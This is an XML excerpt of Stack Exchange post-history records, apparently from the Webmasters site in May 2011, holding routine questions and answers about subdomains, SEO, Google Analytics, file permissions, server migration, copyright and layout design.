  <row Id="34078" PostHistoryTypeId="2" PostId="14533" RevisionGUID="0150f3ac-e848-43ec-8c55-c72c0c10f2e7" CreationDate="2011-05-29T03:41:01.020" UserId="6033" Text="www and www1 are just subdomains of w3schools.com. There is no difference between a www and a www1 subdomain. You are wondering why it's www1 since typically the web uses www, but it makes no difference. It could be abc.w3schools.com with the same results. Determining the actual reason w3schools used www1 there would be a waste of time." />
  <row Id="34079" PostHistoryTypeId="2" PostId="14534" RevisionGUID="216f8572-4b30-4551-a353-6505320a8e18" CreationDate="2011-05-29T03:41:26.370" UserId="1010" Text="It happens that they've enabled [wildcard DNS](http://en.wikipedia.org/wiki/Wildcard_DNS_record), and will serve up requests to subdomains named, well anything at all.  No, really.  Anything at all.&#xD;&#xA;&#xD;&#xA;http://anything-at-all--no-really--anything-at-all.w3schools.com/css/css_reference_atoz.asp&#xD;&#xA;&#xD;&#xA;What, you doubted?&#xD;&#xA;&#xD;&#xA;Long, long ago, serving up the same content on multiple subdomains named &quot;www#&quot; was a cheap and simple load balancing technique.  Each domain would correspond to a physical server.  It fell out of common practice with the advent of sane [reverse proxies](http://en.wikipedia.org/wiki/Reverse_proxy) and simplified virtual hosting technologies." />
  <row Id="34087" PostHistoryTypeId="2" PostId="14537" RevisionGUID="c8d9915c-47ed-43c9-a689-829e2774c0b4" CreationDate="2011-05-29T04:07:19.330" UserId="1064" Text=" 1. From the original GA *All Traffic Sources* report, click the *Advanced Filter* link at the bottom of the report table&#xD;&#xA; 2. Change the *Filter* from *Source/Medium* to *Visits*, select *Greater than or equal to* from the adjacent drop-down, and enter *10* in the field&#xD;&#xA; 3. Click the *Apply Filter* button&#xD;&#xA; 4. Click the *Pages/Visit* column to sort" />
  <row Id="34093" PostHistoryTypeId="17" PostId="14539" RevisionGUID="5234fb2c-42dd-49b9-8ed8-0ef2ef58c680" CreationDate="2011-05-29T04:15:48.780" UserId="-1" Comment="from http://stackoverflow.com/questions/6165899/web-design-quote-wrong" Text="" />
  <row Id="34094" PostHistoryTypeId="2" PostId="14539" RevisionGUID="33b20ccd-38e9-4879-9198-36810514f3a0" CreationDate="2011-05-29T04:10:26.397" UserDisplayName="luqita" Text="What is the best way to make the customer happy after a wrongly calculated quote? I calculated some functions to about $280 when those functions are really simple. I thought they would have been harder but after the customer explained I realized he was right and those functions could have been easily done for like $50. &#xD;&#xA;&#xD;&#xA;He finally decided he doesn't want the functions. Now I am not sure what to do, I don't want him to think that I have really expensive prices since that would be bad for my business. But at the same time I don't think I can tell him now that I can do the functions for $50, since he will think I was trying to steal money from him with a really high price before. I really thought at the first the functions were much more complex.&#xD;&#xA;&#xD;&#xA;Thanks for any advice!" />
  <row Id="34095" PostHistoryTypeId="1" PostId="14539" RevisionGUID="33b20ccd-38e9-4879-9198-36810514f3a0" CreationDate="2011-05-29T04:10:26.397" UserDisplayName="luqita" Text="web design quote wrong" />
  <row Id="34096" PostHistoryTypeId="3" PostId="14539" RevisionGUID="33b20ccd-38e9-4879-9198-36810514f3a0" CreationDate="2011-05-29T04:10:26.397" UserDisplayName="luqita" Text="&lt;business&gt;&lt;customer-service&gt;" />
  <row Id="34097" PostHistoryTypeId="2" PostId="14540" RevisionGUID="370b2b6a-df5c-4ba1-a646-f6ac182bda69" CreationDate="2011-05-29T04:22:33.330" UserId="7894" Text="Anything hidden is perceived as a threat. You website might be indicated as a suspicious and than you will loose potential clients or visitors. " />
  <row Id="34098" PostHistoryTypeId="17" PostId="14541" RevisionGUID="bce9655c-a1ca-48c9-add3-97de5d9a8655" CreationDate="2011-05-29T04:52:29.963" UserId="-1" Comment="from http://stackoverflow.com/questions/6165963/does-the-main-url-of-the-website-matters-most-in-google-search-engine-series-qu" Text="" />
  <row Id="34099" PostHistoryTypeId="17" PostId="14542" RevisionGUID="b55f439c-0557-4b45-a56a-385413df301c" CreationDate="2011-05-29T04:52:29.963" UserId="-1" Comment="from http://stackoverflow.com/questions/6165963/does-the-main-url-of-the-website-matters-most-in-google-search-engine-series-qu" Text="" />
  <row Id="34100" PostHistoryTypeId="2" PostId="14542" RevisionGUID="1c2d1437-5ddb-4632-b10a-a373666c3c01" CreationDate="2011-05-29T04:35:06.333" UserDisplayName="sscirrus" Text="Google Rankings are highly sophisticated and they depend on far more than just your URL. The core element is PageRank, which is basically an indication of how many &lt;i&gt;other&lt;/i&gt; sites link to you, i.e. how many sites consider your site worth the mention. The algorithm is affected by traffic, by external links, by what you put in your `&lt;meta&gt;` tags, and so on. It's &lt;b&gt;not&lt;/b&gt; just whether you have the url `technews.com`.&#xD;&#xA;&#xD;&#xA;If you want your site to do better in the rankings, continue to produce great content, get more people to learn about your site and use it, and start reading about &lt;b&gt;search engine optimization&lt;/b&gt;. There are companies that can help you with this, but if your budget is low, read about it and make sure you're ticking all the boxes.&#xD;&#xA;&#xD;&#xA;Best of luck." />
  <row Id="34101" PostHistoryTypeId="2" PostId="14541" RevisionGUID="57b070ea-e3fe-45bd-acc7-7d43937566e6" CreationDate="2011-05-29T04:31:31.170" UserDisplayName="tony koja" Text="ok this is really series question guys , what am seeing lately in google results are not quite nice , i will give you an example to make my self clear&#xD;&#xA;&#xD;&#xA;lets say i have a website/blog about the  tech news and my url , mattynews.com and my website is dedicated for tech news with friendly seo site &#xD;&#xA;&#xD;&#xA;and some one else has a  site with url  technews.com  will get the better results in google, &#xD;&#xA;&#xD;&#xA;my point is  if my site is dedicated to my work , and some one else come that has my subject in his or her url gets the better resaults even though that my site is 10x better as in related resaults in the inner site &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;is that normal or is somthing i have to deal with , or i can overcome " />
  <row Id="34102" PostHistoryTypeId="1" PostId="14541" RevisionGUID="57b070ea-e3fe-45bd-acc7-7d43937566e6" CreationDate="2011-05-29T04:31:31.170" UserDisplayName="tony koja" Text="does the main url of the website matters most in google search engine , series question guys" />
  <row Id="34103" PostHistoryTypeId="3" PostId="14541" RevisionGUID="57b070ea-e3fe-45bd-acc7-7d43937566e6" CreationDate="2011-05-29T04:31:31.170" UserDisplayName="tony koja" Text="&lt;url&gt;&lt;google&gt;&lt;seo&gt;&lt;domains&gt;" />
  <row Id="34104" PostHistoryTypeId="2" PostId="14543" RevisionGUID="6090a9ba-e151-49ef-a60c-347392403704" CreationDate="2011-05-29T05:37:06.387" UserId="132" Text="When building new webpage layouts, I think of all the devices out there - cell phones, tablets, desktops, etc - with a diversity of screen sizes. I can see two ways to accommodate this diversity. One is to build a fully fluid layout that adjusts to every screen size out there. On the other hand, I could try to create layouts that optimize for common sizes. This route could inevitably clash with some new device with a very different screen size, and would involve some amount of initial set up and testing for the targeted sizes.&#xD;&#xA;&#xD;&#xA;Would either of these routes be preferable to the other, or is there another option I haven't considered?" />
  <row Id="34105" PostHistoryTypeId="1" PostId="14543" RevisionGUID="6090a9ba-e151-49ef-a60c-347392403704" CreationDate="2011-05-29T05:37:06.387" UserId="132" Text="Building for different screen sizes" />
  <row Id="34106" PostHistoryTypeId="3" PostId="14543" RevisionGUID="6090a9ba-e151-49ef-a60c-347392403704" CreationDate="2011-05-29T05:37:06.387" UserId="132" Text="&lt;layout&gt;&lt;screen-size&gt;" />
  <row Id="34107" PostHistoryTypeId="25" PostId="14541" RevisionGUID="9fb003c6-f29b-443f-b2fa-f0eb8e3a92f1" CreationDate="2011-05-29T06:13:12.383" Comment="http://twitter.com/#!/StackWebmasters/status/74719921887653889" />
  <row Id="34108" PostHistoryTypeId="2" PostId="14544" RevisionGUID="07ea80eb-f1b4-4ee1-8233-093093fbfdf5" CreationDate="2011-05-29T06:13:19.990" UserId="2044" Text="I need to change file and folder permission on remote linux web server recursively.&#xD;&#xA;&#xD;&#xA;For fast uploading i zipped my files and uploaded that zip file. Later on i extracted zip file using file manager of hosting server. It unzipped files but ther file permissions we set to 600 for files and 700 for folders.&#xD;&#xA;&#xD;&#xA;Now i need to change them 644 and 755 to all files and folders recursively. I do not want to check in folder by folder and change the permission. Is there any tool that can do that recursively?" />
  <row Id="34109" PostHistoryTypeId="1" PostId="14544" RevisionGUID="07ea80eb-f1b4-4ee1-8233-093093fbfdf5" CreationDate="2011-05-29T06:13:19.990" UserId="2044" Text="Which tool can change file permissions recursively" />
  <row Id="34110" PostHistoryTypeId="3" PostId="14544" RevisionGUID="07ea80eb-f1b4-4ee1-8233-093093fbfdf5" CreationDate="2011-05-29T06:13:19.990" UserId="2044" Text="&lt;web-hosting&gt;&lt;file-manger&gt;" />
  <row Id="34111" PostHistoryTypeId="2" PostId="14545" RevisionGUID="96ff96b5-d67a-4510-8327-f8119bf0e1e7" CreationDate="2011-05-29T06:22:22.727" UserId="7896" Text="What kind of font would you use on this screen ? I am mainly looking for the font &quot;Group study made easy&quot; ?&#xD;&#xA;&#xD;&#xA;http://61demoserver.com/swellhead/index.html&#xD;&#xA;&#xD;&#xA;Also, what font would you use on the detail pages? I am using Georgia, because I expect students to spend a lot of time reading the website.&#xD;&#xA;&#xD;&#xA;http://61demoserver.com/swellhead/answerquestion.html&#xD;&#xA;&#xD;&#xA;I would appreciate if you can explain your rationale for using the right font." />
  <row Id="34112" PostHistoryTypeId="1" PostId="14545" RevisionGUID="96ff96b5-d67a-4510-8327-f8119bf0e1e7" CreationDate="2011-05-29T06:22:22.727" UserId="7896" Text="What font would you use on this screen ?" />
  <row Id="34113" PostHistoryTypeId="3" PostId="14545" RevisionGUID="96ff96b5-d67a-4510-8327-f8119bf0e1e7" CreationDate="2011-05-29T06:22:22.727" UserId="7896" Text="&lt;fonts&gt;" />
  <row Id="34114" PostHistoryTypeId="17" PostId="14546" RevisionGUID="1887d1e7-bf81-41ab-892d-e06e7b2196b7" CreationDate="2011-05-29T06:59:57.133" UserId="-1" Comment="from http://stackoverflow.com/questions/6165727/best-practice-to-migrate-server" Text="" />
  <row Id="34115" PostHistoryTypeId="2" PostId="14546" RevisionGUID="cc4344e2-f8c5-4446-a6d0-f75d9877caf5" CreationDate="2011-05-29T03:09:57.263" UserDisplayName="imin" Text="i'm planning to migrate my server from one hosting to another, hence I need to change the dns for my domain name. but the problem is, dns propagating takes a few hours to really complete. Problem is, my site has few thousands users and they enter data daily on my site. What is the best practice on server migration? because i don't want any non-synchronized or non-updated database later." />
  <row Id="34116" PostHistoryTypeId="1" PostId="14546" RevisionGUID="cc4344e2-f8c5-4446-a6d0-f75d9877caf5" CreationDate="2011-05-29T03:09:57.263" UserDisplayName="imin" Text="best practice to migrate server" />
  <row Id="34117" PostHistoryTypeId="3" PostId="14546" RevisionGUID="cc4344e2-f8c5-4446-a6d0-f75d9877caf5" CreationDate="2011-05-29T03:09:57.263" UserDisplayName="imin" Text="&lt;server&gt;" />
  <row Id="34118" PostHistoryTypeId="2" PostId="14547" RevisionGUID="078c66df-7a3d-4511-9aea-d29afb98460d" CreationDate="2011-05-29T07:43:34.180" UserId="7822" Text="If you are on FTP then you client should let you right click the folder to change the permissions and it should have a checkbox saying something like &quot;Click here for a files and folders within&quot;.&#xD;&#xA;&#xD;&#xA;If you are using SSH then you can use chmod -R 755." />
  <row Id="34119" PostHistoryTypeId="2" PostId="14548" RevisionGUID="28cd458d-ef4b-4bdf-a983-090f396698fd" CreationDate="2011-05-29T07:46:02.197" UserId="7822" Text="It might be best to just let this client go. If you drop the price that much then he will think you are an amateur, whereas if you leave it as is then he should think you are a professional and that would be a better reputation to have.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34120" PostHistoryTypeId="25" PostId="14544" RevisionGUID="132f59ae-38da-469f-af97-966deed7339d" CreationDate="2011-05-29T09:13:13.357" Comment="http://twitter.com/#!/StackWebmasters/status/74765223638208512" />
  <row Id="34121" PostHistoryTypeId="2" PostId="14549" RevisionGUID="e6dd171e-d9a1-4f7c-ba2e-dfac5c7d1870" CreationDate="2011-05-29T09:25:49.897" UserId="7897" Text="Hey guys, i just wonder, where do i can buy/rent domain just like bit.ly, goog.gl, etc. Sorry for language mistake/if any." />
  <row Id="34122" PostHistoryTypeId="1" PostId="14549" RevisionGUID="e6dd171e-d9a1-4f7c-ba2e-dfac5c7d1870" CreationDate="2011-05-29T09:25:49.897" UserId="7897" Text="Just wondered about domain name hack..." />
  <row Id="34123" PostHistoryTypeId="3" PostId="14549" RevisionGUID="e6dd171e-d9a1-4f7c-ba2e-dfac5c7d1870" CreationDate="2011-05-29T09:25:49.897" UserId="7897" Text="&lt;domains&gt;&lt;domain-names&gt;" />
  <row Id="34124" PostHistoryTypeId="25" PostId="14549" RevisionGUID="aee32722-1bd5-48af-b490-41534a2df2a3" CreationDate="2011-05-29T12:13:13.567" Comment="http://twitter.com/#!/StackWebmasters/status/74810522364686336" />
  <row Id="34125" PostHistoryTypeId="2" PostId="14550" RevisionGUID="5b0bc76c-39b8-4268-a7f0-75759d2bf9eb" CreationDate="2011-05-29T13:20:00.403" UserId="3328" Text="You can use domai.nr to search and link to the correct registrar&#xD;&#xA;&#xD;&#xA;[Domainr: fast, free, domain name search, short URLs, international domain registration](http://domai.nr/)&#xD;&#xA;&#xD;&#xA;[![domai.nr][1]](http://domai.nr/)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/P9sE9.png" />
  <row Id="34126" PostHistoryTypeId="17" PostId="14551" RevisionGUID="c69738cd-8d5a-4ac3-86e5-417d7e36b3b3" CreationDate="2011-05-29T14:23:40.020" UserId="-1" Comment="from http://stackoverflow.com/questions/6167059/on-google-analytics-when-i-see-visits-keywords-are-all-these-vists-are-of-uniq" Text="" />
  <row Id="34127" PostHistoryTypeId="17" PostId="14552" RevisionGUID="f51c3234-de97-4511-982a-0ec98313b938" CreationDate="2011-05-29T14:23:40.020" UserId="-1" Comment="from http://stackoverflow.com/questions/6167059/on-google-analytics-when-i-see-visits-keywords-are-all-these-vists-are-of-uniq" Text="" />
  <row Id="34128" PostHistoryTypeId="2" PostId="14552" RevisionGUID="02866147-2f6d-4c7e-8fe6-261f83273c3f" CreationDate="2011-05-29T10:11:48.927" UserDisplayName="Emil" Text="The visits are session visits. A session expires after 30 minutes of inactivity, unless otherwise configured by you. &#xD;&#xA;&#xD;&#xA;See http://www.google.com/support/analytics/bin/answer.py?answer=57164 for more info." />
  <row Id="34129" PostHistoryTypeId="2" PostId="14551" RevisionGUID="7a0132e0-29de-4d69-9661-3e4a1554f1b0" CreationDate="2011-05-29T09:58:00.820" UserDisplayName="Tzvi" Text="On google analytics, when I see visits / keywords are all these vists are of unique visitors or are they other visits of 1 visitor who came to the site using that keyword in the first place ?" />
  <row Id="34130" PostHistoryTypeId="1" PostId="14551" RevisionGUID="7a0132e0-29de-4d69-9661-3e4a1554f1b0" CreationDate="2011-05-29T09:58:00.820" UserDisplayName="Tzvi" Text="On google analytics, when I see visits / keywords are all these vists are of unique visitors?" />
  <row Id="34131" PostHistoryTypeId="3" PostId="14551" RevisionGUID="7a0132e0-29de-4d69-9661-3e4a1554f1b0" CreationDate="2011-05-29T09:58:00.820" UserDisplayName="Tzvi" Text="&lt;google&gt;&lt;google-analytics&gt;&lt;analytics&gt;" />
  <row Id="34132" PostHistoryTypeId="2" PostId="14553" RevisionGUID="c2c22785-a1dd-4133-a3f8-9441d0a939ee" CreationDate="2011-05-29T15:03:36.327" UserId="7900" Text="Many pages that have been deleted for a long time are still appearing in Google?  When I then click on them, they obviously can't be found.  Am I doing something wrong/forgetting something?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="34133" PostHistoryTypeId="1" PostId="14553" RevisionGUID="c2c22785-a1dd-4133-a3f8-9441d0a939ee" CreationDate="2011-05-29T15:03:36.327" UserId="7900" Text="Old pages still appearing in Google?" />
  <row Id="34134" PostHistoryTypeId="3" PostId="14553" RevisionGUID="c2c22785-a1dd-4133-a3f8-9441d0a939ee" CreationDate="2011-05-29T15:03:36.327" UserId="7900" Text="&lt;indexing&gt;" />
  <row Id="34135" PostHistoryTypeId="25" PostId="14553" RevisionGUID="9fdc0ee6-435a-480a-8aca-240caf93a9f1" CreationDate="2011-05-29T15:13:13.543" Comment="http://twitter.com/#!/StackWebmasters/status/74855820986294273" />
  <row Id="34136" PostHistoryTypeId="2" PostId="14554" RevisionGUID="0eb9403d-a738-4c1c-9c9e-133172d09bb6" CreationDate="2011-05-29T15:14:08.420" UserId="3718" Text="I'm working on a website for my business, and I currently have a domain name containing my business name and my line of work. This is my main domain.&#xD;&#xA;&#xD;&#xA;However, I have the opportunity to register a .info domain which will contain my line of work and the area where my business remit is. I'm planning on using this as a redirect domain to my original one.&#xD;&#xA;&#xD;&#xA;I'm not sure though how this .info domain will affect my SEO? Would it be a better idea to use the .info domain as my main web domain, and use the original domain name as a redirect?&#xD;&#xA;&#xD;&#xA;Cheers" />
  <row Id="34137" PostHistoryTypeId="1" PostId="14554" RevisionGUID="0eb9403d-a738-4c1c-9c9e-133172d09bb6" CreationDate="2011-05-29T15:14:08.420" UserId="3718" Text="Does domain forwarding affect SEO?" />
  <row Id="34138" PostHistoryTypeId="3" PostId="14554" RevisionGUID="0eb9403d-a738-4c1c-9c9e-133172d09bb6" CreationDate="2011-05-29T15:14:08.420" UserId="3718" Text="&lt;seo&gt;&lt;redirects&gt;&lt;domain-names&gt;&lt;multiple-domains&gt;" />
  <row Id="34139" PostHistoryTypeId="2" PostId="14555" RevisionGUID="7ab4fa1d-feb2-4b6f-af2c-cf1319ceb169" CreationDate="2011-05-29T15:23:36.117" UserId="7037" Text="Source version control software (CVS, SVN, git, etc) is typically exactly what you want in this type of situation.&#xD;&#xA;&#xD;&#xA;They do not provide immediate synchronization, but I suspect that you want to re-think why you need that. There will likely be trouble if your production server is updated every time you change a file on your desktop. What if you hit save half-way through some changes?&#xD;&#xA;&#xD;&#xA;If you don't want to mess with keeping a history of changes, use a utility like rsync to keep the two systems synchronized periodically.&#xD;&#xA;&#xD;&#xA;If you're positive that you must have immediate synchronization, then there is likely no need to have a copy on both systems. Just mount the directory from the server on your desktop (via sshfs, mapped network drive, etc) and make the changes directly to the files." />
  <row Id="34140" PostHistoryTypeId="2" PostId="14556" RevisionGUID="e74ba90d-dfe3-4e73-ad12-aa3d4fc054ed" CreationDate="2011-05-29T15:25:02.213" UserId="7901" Text="We have a rather popular website with plenty of photos. Our whole business depends on our content - and the photos are important in this. We invest a lot of time, effort, and money into taking these pictures. On our website we have clear copyright notices, we have the website name and logo in the photos, and we have a Photo Licensing page which states the prices of licensing our photos. &#xD;&#xA;&#xD;&#xA;Despite all this, our photos are copied by personal and commercial websites alike. We really want to do something about this. We do not want them to take out the photos and leave it at that. We want them to pay for the usage, as we clearly state on our website. Now a few questions come to mind:&#xD;&#xA;&#xD;&#xA; - Can we legally force them to pay right away? Or are we obligated to first write a &quot;Cease and Desist&quot; letter?&#xD;&#xA; - Photos are used on websites throughout the world. Are there any worldwide rules for this? &#xD;&#xA; - Has anybody experience with doing these things outside of their home country? Should we hire a lawyer in any country? Or could a local lawyer contact oversees companies directly?" />
  <row Id="34141" PostHistoryTypeId="1" PostId="14556" RevisionGUID="e74ba90d-dfe3-4e73-ad12-aa3d4fc054ed" CreationDate="2011-05-29T15:25:02.213" UserId="7901" Text="Photos being copied all over the place" />
  <row Id="34142" PostHistoryTypeId="3" PostId="14556" RevisionGUID="e74ba90d-dfe3-4e73-ad12-aa3d4fc054ed" CreationDate="2011-05-29T15:25:02.213" UserId="7901" Text="&lt;copyright&gt;" />
  <row Id="34143" PostHistoryTypeId="2" PostId="14557" RevisionGUID="cb22d625-e15a-4587-a4a2-be65ca284223" CreationDate="2011-05-29T15:54:26.830" UserId="3718" Text="Depending on where the website is hosted will determine how successful the copyright enforcement will be. For websites based in the UK and Ireland, a Cease and Desist order would work. But for websites in Russia and China for example, this would be near to pointless.&#xD;&#xA;&#xD;&#xA;While it is bad how websites throughout the world are using your images, I would suggest you look at how these images are obtained from your website. Most people can be deterred from a popup displaying after the right click action is performed. Prevention is always better than the cure." />
  <row Id="34144" PostHistoryTypeId="5" PostId="14554" RevisionGUID="3ca6c7af-1357-43fb-b1ff-1e23d6232814" CreationDate="2011-05-29T15:59:21.197" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Could I buy a domain name to increase traffic to my site like this?](http://webmasters.stackexchange.com/questions/3777/could-i-buy-a-domain-name-to-increase-traffic-to-my-site-like-this)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hey,&#xD;&#xA;&#xD;&#xA;I'm working on a website for my business, and I currently have a domain name containing my business name and my line of work. This is my main domain.&#xD;&#xA;&#xD;&#xA;However, I have the opportunity to register a .info domain which will contain my line of work and the area where my business remit is. I'm planning on using this as a redirect domain to my original one.&#xD;&#xA;&#xD;&#xA;I'm not sure though how this .info domain will affect my SEO? Would it be a better idea to use the .info domain as my main web domain, and use the original domain name as a redirect?&#xD;&#xA;&#xD;&#xA;Cheers" />
  <row Id="34145" PostHistoryTypeId="10" PostId="14554" RevisionGUID="bf1e4640-b904-4edc-9860-dc4a8c0d0c7f" CreationDate="2011-05-29T15:59:20.667" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="34146" PostHistoryTypeId="2" PostId="14558" RevisionGUID="5c66e66a-9c94-431e-988b-3343b62c8012" CreationDate="2011-05-29T16:23:14.540" UserId="1253" Text="Define &quot;a long time&quot;.&#xD;&#xA;&#xD;&#xA;Make sure you are sending out a 404 HTTP header as that is what they need to know a page is deleted. If you're doing that they will get around to removing them. If they are deep inner pages they are probably crawled less frequently so it will take a little longer to find they are gone and remove them from their index." />
  <row Id="34150" PostHistoryTypeId="10" PostId="14545" RevisionGUID="3d533a59-ab66-4eab-81a2-d0cf68f15b43" CreationDate="2011-05-29T16:59:04.820" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="34151" PostHistoryTypeId="2" PostId="14560" RevisionGUID="111a3a08-64b8-4ab7-902a-1a4fd76ac31b" CreationDate="2011-05-29T17:28:24.143" UserId="2047" Text="I want to configure my meta description to have the initial bit of my post. On my template I just have &lt;data:post.body/&gt; and there is nowhere where I can get only the first bit.&#xD;&#xA;&#xD;&#xA;Is there a way to break down the &lt;data:post.body/&gt; to use in the meta description?&#xD;&#xA;&#xD;&#xA;maybe via javascript?" />
  <row Id="34152" PostHistoryTypeId="1" PostId="14560" RevisionGUID="111a3a08-64b8-4ab7-902a-1a4fd76ac31b" CreationDate="2011-05-29T17:28:24.143" UserId="2047" Text="How can I set the first two paragraphs as metada description on blogger?" />
  <row Id="34153" PostHistoryTypeId="3" PostId="14560" RevisionGUID="111a3a08-64b8-4ab7-902a-1a4fd76ac31b" CreationDate="2011-05-29T17:28:24.143" UserId="2047" Text="&lt;blogger&gt;&lt;metadata&gt;" />
  <row Id="34155" PostHistoryTypeId="5" PostId="14549" RevisionGUID="23a654b1-3d7a-4c71-b850-4858200ee0e1" CreationDate="2011-05-29T18:39:16.927" UserId="1253" Comment="Changed title to better reflect question" Text="Hey guys, i just wonder, where do i can buy/rent domain just like bit.ly, goog.gl, etc. Sorry for language mistake/if any. " />
  <row Id="34156" PostHistoryTypeId="4" PostId="14549" RevisionGUID="23a654b1-3d7a-4c71-b850-4858200ee0e1" CreationDate="2011-05-29T18:39:16.927" UserId="1253" Comment="Changed title to better reflect question" Text="How do I get a domain like bit.ly and goog.gl?" />
  <row Id="34157" PostHistoryTypeId="2" PostId="14561" RevisionGUID="d6fc3923-f2bc-492e-9277-a9e17a687787" CreationDate="2011-05-29T18:51:40.197" UserId="1253" Text="Place a notice on your website that you will be moving the site to a new server on at a specific date and time. Your slowest time is the best time to do it. At that time you can:&#xD;&#xA;&#xD;&#xA; - Take the site down and put up a &quot;under maintainance&quot; page letting users know the site is down and will bu back shortly.&#xD;&#xA;&#xD;&#xA; - Or put up a notice on the top of your pages letting people know your site is moving and the site can be viewed but no changes can be made while the move is happening.&#xD;&#xA;&#xD;&#xA;The first option is a lot easier to do. But option two allows your users to at least continue to view information on your site while it is migrated." />
  <row Id="34161" PostHistoryTypeId="5" PostId="14549" RevisionGUID="8c751862-4e49-4ec8-8acc-80a4500d8cd1" CreationDate="2011-05-29T18:58:47.260" UserId="1253" Comment="deleted 59 characters in body" Text="Where do i can buy/rent domain just like bit.ly, goog.gl, etc.  " />
  <row Id="34162" PostHistoryTypeId="2" PostId="14562" RevisionGUID="f54e29f9-e963-4833-a1c3-d75f2f816827" CreationDate="2011-05-29T19:06:34.527" UserId="1253" Text="A fluid layout is the easiest to create and maintain. You then can also use a mobile stylesheet to &quot;fix&quot; any issues that may arise in very small devices." />
  <row Id="34163" PostHistoryTypeId="6" PostId="14553" RevisionGUID="004b7468-83a3-467e-be86-ca1d0b7ffdb8" CreationDate="2011-05-29T19:31:42.643" UserId="1253" Comment="edited tags" Text="&lt;google&gt;&lt;indexing&gt;" />
  <row Id="34164" PostHistoryTypeId="25" PostId="14556" RevisionGUID="00d8d7b5-a5d7-4bc3-bd68-1833f7595464" CreationDate="2011-05-29T21:13:16.283" Comment="http://twitter.com/#!/StackWebmasters/status/74946429260533760" />
  <row Id="34165" PostHistoryTypeId="2" PostId="14563" RevisionGUID="1eaae505-7719-4bb2-aa62-0e867d54b37e" CreationDate="2011-05-29T21:23:16.833" UserId="6389" Text=" 1. Gracefully disable the site&#xD;&#xA; 2. Dump your database&#xD;&#xA; 3. copy and import the database to the new server&#xD;&#xA; 4. alter the connection string on the old server to use new servers database&#xD;&#xA; 5. restart site&#xD;&#xA;&#xD;&#xA;You should be able of do this in a matter of minutes. DNS propagation will take longer but only one database will be updated so it's less of an issue.  &#xD;&#xA;&#xD;&#xA;If the size of your database or requirements of the site mean you are unable or unwilling to disable the site for a short time, then hosting the site and database on one server (which I assume is what we are talking about) is not the righ solution.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34166" PostHistoryTypeId="10" PostId="14526" RevisionGUID="5d111e4f-2ecb-4006-9320-a0635c88dd30" CreationDate="2011-05-29T21:25:18.607" UserId="108" CloseReasonId="4" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="34167" PostHistoryTypeId="5" PostId="14553" RevisionGUID="98661ddf-2f69-4af1-ab39-edfba5cc3cb8" CreationDate="2011-05-29T21:26:07.203" UserId="5315" Comment="Removed &quot;thanks&quot; as per SO philosophy" Text="Many pages that have been deleted for a long time are still appearing in Google?  When I then click on them, they obviously can't be found.  Am I doing something wrong/forgetting something?" />
  <row Id="34168" PostHistoryTypeId="24" PostId="14553" RevisionGUID="98661ddf-2f69-4af1-ab39-edfba5cc3cb8" CreationDate="2011-05-29T21:26:07.203" Comment="Proposed by 5315 approved by 108 edit id of 364" />
  <row Id="34169" PostHistoryTypeId="2" PostId="14564" RevisionGUID="43c58e84-f033-4f8d-8f3f-0381eb09bcf9" CreationDate="2011-05-29T21:49:05.057" UserId="1914" Text="Personally, I'd go with what i_grok suggested by using SVN, P4 or Git. Reason being, is that what happens when you make a bad change to your code and now you've sent your site down the tubes. However you can do as i_grok also suggested with a mapped network drive or sshfs or you can write a custom python script within your working directory to auto-upload.&#xD;&#xA;&#xD;&#xA;You can use the [watchdog python library.][1] and actually someone appears to have done some of the work for you, so you could just go [here][2] and plug it in.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pypi.python.org/pypi/watchdog/0.5.4 &quot;Python Watchdog&quot;&#xD;&#xA;  [2]: http://zolomon.com/wp/?p=382 &quot;watchdog ftp&quot;" />
  <row Id="34170" PostHistoryTypeId="2" PostId="14565" RevisionGUID="86afc41c-b359-49bf-9f60-edc9aa9b4cfe" CreationDate="2011-05-29T21:54:49.787" UserId="7906" Text="so, I have a minisite for the mobile application that I did. The mobile application is a public transport (transit) schedule viewer for a particular city (let's call it Foo), and I'm trying to sell it via that minisite.&#xD;&#xA;&#xD;&#xA;I publish that minisite in `www.myawesomeapplication.com/foo/`. It has the usual &quot;standard&quot; subpages, like &quot;About&quot;, &quot;Compatible phones&quot;, &quot;Contact&quot;, etc.&#xD;&#xA;&#xD;&#xA;Now, I have decided to create analogue mobile application for other cities, Bar and Baz. These mobile applications (products) would be almost identical to the one for the Foo city, thus the minisites for those would (should) look very similar too (except for some artwork and Foo =&gt; Bar replacement).&#xD;&#xA;&#xD;&#xA;The question is: what do you think would be the most logical way to lay-out the website in this situation, both from the business and search engine perspective?&#xD;&#xA;&#xD;&#xA;In other words, should I just duplicate the `/foo/` website to `/bar/` and `/baz/`, or would it be better to try to create a single website under root path (`/`)?&#xD;&#xA;&#xD;&#xA;I don't want search engine penalties for almost-duplicate information under `/foo/`, `/bar/` and `/baz/`, and also I don't want a messy, non-localized website (I guess the user is more likely to buy something if he/she sees _&quot;This-and-that is the application for NYC, the city you live in&quot;_, not _&quot;This-and-that is the application for city A, city B, ..., NYC, ..., and city Z.&quot;_)" />
  <row Id="34171" PostHistoryTypeId="1" PostId="14565" RevisionGUID="86afc41c-b359-49bf-9f60-edc9aa9b4cfe" CreationDate="2011-05-29T21:54:49.787" UserId="7906" Text="Best way to lay-out the website when sections of it are almost identical" />
  <row Id="34172" PostHistoryTypeId="3" PostId="14565" RevisionGUID="86afc41c-b359-49bf-9f60-edc9aa9b4cfe" CreationDate="2011-05-29T21:54:49.787" UserId="7906" Text="&lt;search-engines&gt;&lt;websites&gt;&lt;subdomain&gt;" />
